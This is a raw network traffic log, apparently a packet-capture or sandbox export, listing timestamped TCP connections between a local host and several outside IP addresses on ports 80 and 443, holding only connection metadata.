Dec 20, 2024 02:11:38.979895115 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:38.980252981 CET	49919	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:38.980287075 CET	443	49919	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:39.166903973 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:39.167009115 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:39.168256998 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:39.168276072 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:39.168683052 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:39.169915915 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:39.169956923 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:39.170023918 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:39.450007915 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450021982 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450028896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450093031 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.450120926 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450135946 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.450155973 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450160980 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.450170994 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450181961 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450192928 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.450211048 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.450476885 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450489044 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450525045 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.450552940 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.450767994 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.450808048 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.471810102 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:39.472470045 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:39.472482920 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:39.473474026 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:39.473532915 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:39.474853992 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:39.474908113 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:39.500274897 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:39.500284910 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:39.554662943 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:39.569715977 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.569807053 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.569953918 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.573929071 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.574019909 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.574151039 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.574198008 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.642390966 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.642726898 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.642762899 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.642834902 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.646511078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.646559954 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.646660089 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.646713972 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.654860020 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.654918909 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.655108929 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.655148983 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.663295984 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.663356066 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.663368940 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.663407087 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.671616077 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.671674967 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.672127008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.672168970 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.680030107 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.680088043 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.680548906 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.680591106 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.688435078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.688489914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.688960075 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.688998938 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.696763039 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.696819067 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.697005033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.697048903 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.705157995 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.705204010 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.705429077 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.705465078 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.713516951 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.713566065 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.713839054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.713876009 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.720742941 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.720802069 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.720877886 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.720918894 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.728064060 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.728128910 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.728430986 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.728470087 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.821007967 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:39.821095943 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:39.821142912 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:39.834323883 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.834410906 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.834407091 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.834522009 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.835764885 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.835815907 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.836678982 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.836746931 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.840399027 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.840464115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.840610027 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.840658903 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.845266104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.845325947 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.845592022 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.845643044 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.850049973 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.850127935 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.850204945 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.850260019 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.854759932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.854815960 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.855748892 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.855838060 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.860707998 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.860742092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.860783100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.860783100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.863215923 CET	49913	443	192.168.2.5	34.226.108.155
Dec 20, 2024 02:11:39.863239050 CET	443	49913	34.226.108.155	192.168.2.5
Dec 20, 2024 02:11:39.863918066 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.863971949 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.864104033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.864154100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.868630886 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.868701935 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.868904114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.868953943 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.872996092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.873075008 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.873800039 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.873861074 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.877562046 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.877635002 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.877830029 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.877898932 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.881961107 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.882028103 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.882210016 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.882272005 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.886801958 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.886863947 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.887564898 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.887625933 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.890865088 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.890938997 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.891124964 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.891177893 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.895755053 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.895828009 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.895921946 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.895976067 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.899946928 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.900022984 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.901042938 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.901101112 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.904516935 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.904591084 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.905056953 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.905122042 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.908972025 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.909034967 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.909107924 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.909161091 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.914043903 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.914099932 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.914239883 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.914294004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.917941093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.918025017 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.918420076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.918477058 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.922409058 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.922463894 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.922679901 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.922739029 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.927009106 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.927064896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.927376032 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.927443981 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.931400061 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.931467056 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.931582928 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.931634903 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.935916901 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.935977936 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.936582088 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.936642885 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.954060078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:39.954147100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:39.955816984 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:39.956032991 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:39.956085920 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:39.956870079 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:39.956907034 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:39.956933022 CET	49916	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:39.956947088 CET	443	49916	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:39.962042093 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:40.026545048 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.026556969 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.026601076 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.028150082 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.028198004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.028856993 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.028904915 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.029223919 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.029259920 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.032465935 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.032511950 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.032783031 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.032826900 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.036159992 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.036201954 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.036473989 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.036530018 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.039716005 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.039762020 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.039905071 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.039949894 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.043091059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.043133020 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.043548107 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.043593884 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.046612024 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.046623945 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.046658039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.046674967 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.049880981 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.049925089 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.050371885 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.050421000 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.053158045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.053205013 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.053694010 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.053733110 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.056401014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.056472063 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.057017088 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.057059050 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.059521914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.059567928 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.059880972 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.059920073 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.062736988 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.062783957 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.062923908 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.062979937 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.065685034 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.065735102 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.065877914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.065922976 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.068790913 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.068866968 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.069015026 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.069060087 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.071748972 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.071794033 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.072277069 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.072324991 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.074755907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.074804068 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.075041056 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.075088024 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.078006983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.078052998 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.078141928 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.078177929 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.080933094 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.081012964 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.081686974 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.081706047 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:40.081736088 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.081789017 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:40.081913948 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:40.082573891 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.082626104 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.082740068 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.082784891 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.084379911 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.084391117 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.084428072 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.086124897 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.086175919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.086443901 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.086486101 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.087817907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.087874889 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.088002920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.088047028 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.089576006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.089622021 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.089966059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.090012074 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.091286898 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.091330051 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.091957092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.091999054 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.093131065 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.093169928 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.093771935 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.093815088 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.094865084 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.094908953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.095010996 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.095052004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.096539974 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.096582890 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.096780062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.096822023 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.098299980 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.098347902 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.098592043 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.098644018 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.100291014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.100347996 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.100544930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.100584984 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.101797104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.101836920 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.101958036 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.102005005 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.103521109 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.103569984 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.103853941 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.103897095 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.105345964 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.105355978 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.105396986 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.107068062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.107111931 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.107331038 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:40.107376099 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:40.108866930 CET	80	49917	31.41.244.11	192.168.2.5
